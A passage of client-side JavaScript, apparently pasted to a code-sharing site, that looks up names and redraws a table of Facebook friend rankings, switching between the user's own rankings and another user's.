  662.             }
  663.         }
  664.     }
  665.     if(fuzzydatamap[currentuser].infodumps.length<fuzzydatamap[currentuser].numberrequested){
  666.         fuzzyloadingcompleted=false;
  667.     }
  668. }
  669.  
  670. function getnamefromuid(uid){
  671.     var i;
  672.     for(i=0;i<selfdata.length;i++){
  673.         if(selfdata[i].uid==uid) {
  674.            
  675.             return selfdata[i].text;
  676.            
  677.         }
  678.     }
  679.     return "Unknown user ("+uid+")";
  680. }
  681.  
  682. //redraw the table of friends
  683. function refreshtable(){
  684.     if(currentuser==thisuser&&!fuzzymode){
  685.         displayfriendtable(selffriends);
  686.         body="<table style='width:100%;'><tr><td>";
  687.         body+="<table cellpadding=0 cellspacing=0><tr><td style='padding:0;'>";
  688.         body+="<img src='http://graph.facebook.com/"+thisuser+"/picture'></td>";
  689.         body+="<td style='padding:0 0 0 8px;'>";
  690.         body+="</td></tr></table>";
  691.         body+="</td>";
  692.         body+="<td style='text-align:right;' id='messagetoggle'>";
  693.         body+="</td>";
  694.         body+="</tr></table>";
  695.         if(document.getElementById("messagecontainer").innerHTML!=body)
  696.             document.getElementById("messagecontainer").innerHTML=body;
  697.     }else{
  698.         refreshfuzzyrankedfriends();
  699.         displayfriendtable(fuzzydatamap[currentuser].rankedfriends);
  700.         body="<table style='width:100%;'><tr><td>";
  701.         body+="<table cellpadding=0 cellspacing=0><tr><td style='padding:0;'>";
  702.         body+="<img src='http://graph.facebook.com/"+currentuser+"/picture'></td>";
  703.         body+="<td style='padding:0 0 0 8px;'>These are "+getnamefromuid(currentuser)+"'s rankings.";
  704.         body+="</td></tr></table>";
  705.         body+="</td>";
  706.         body+="<td style='text-align:right;' id='messagetoggle'>";
  707.         body+="<a href='#' onclick='switchtocontext(\""+thisuser+"\",false);'>back to your own rankings</a>";
  708.         body+="</td>";
  709.         body+="</tr></table>";
  710.         if(document.getElementById("messagecontainer").innerHTML!=body)
  711.             document.getElementById("messagecontainer").innerHTML=body;
  712.         if(!fuzzyloadingcompleted){
  713.             setTimeout("refreshtable()",500);
  714.         }
  715.     }
  716. }
  717.  
  718. //switch to viewing someone else's friends
  719. function switchtocontext(newcontext,fuzzy){
  720.     document.getElementById("errorcontainer").innerHTML="";
  721.     currentuser=newcontext;
  722.     fuzzymode=fuzzy;
  723.     if(fuzzy){
  724.         loadfuzzydata();
  725.     }
  726.     fuzzyloadingcompleted=false;
  727.     refreshtable();
  728. }
  729.  
  730. refreshtable();
Add Comment
Please, Sign In to add comment